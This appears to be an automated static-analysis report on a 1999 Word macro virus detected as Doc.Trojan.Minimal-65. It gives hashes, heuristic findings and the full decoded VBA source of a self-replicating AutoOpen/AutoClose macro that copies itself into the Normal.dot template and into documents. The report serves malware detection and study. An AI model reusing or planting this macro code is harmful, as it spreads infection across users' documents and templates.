Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e82c5a00bece3efd…

MALICIOUS

Office (OLE)

26.5 KB Created: 1999-09-09 05:03:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4263903fe1de8047a57cc86e84d87645 SHA-1: e69ee8b22956c190c1d8794cc32b235bc0467599 SHA-256: e82c5a00bece3efdac96b241d76aed1a729b32ddf0eb6abe131551e0b1c4bc98
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing VBA macros, specifically an AutoOpen macro that attempts to copy itself to the global template and a marker for an AutoClose macro. This suggests an attempt to establish persistence or execute further malicious actions when the document is closed. The ClamAV detection and heuristic firings strongly indicate malicious intent, though the specific payload or ultimate goal is not directly discernible from the provided script.

Heuristics 5

  • ClamAV: Doc.Trojan.Minimal-65 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-65
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 717 bytes
SHA-256: 0afddc3302915d757bb3152dfbab8d7a3fe4004beffd6588b2191e2f0c7d2376
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "aUtOOpen"

Public Sub MAIN()
Dim M$
On Error GoTo -1: On Error GoTo MinSize
M$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))
If M$ = "NORMAL.DOT" Then
WordBasic.MacroCopy "Global:AutoClose", WordBasic.[FileName$]() + ":aUtOOpen"

WordBasic.FileSaveAs Format:=1
Else
WordBasic.MacroCopy WordBasic.[FileName$]() + ":aUtOOpen", "Global:AutoClose", 1
End If
MinSize:
End Sub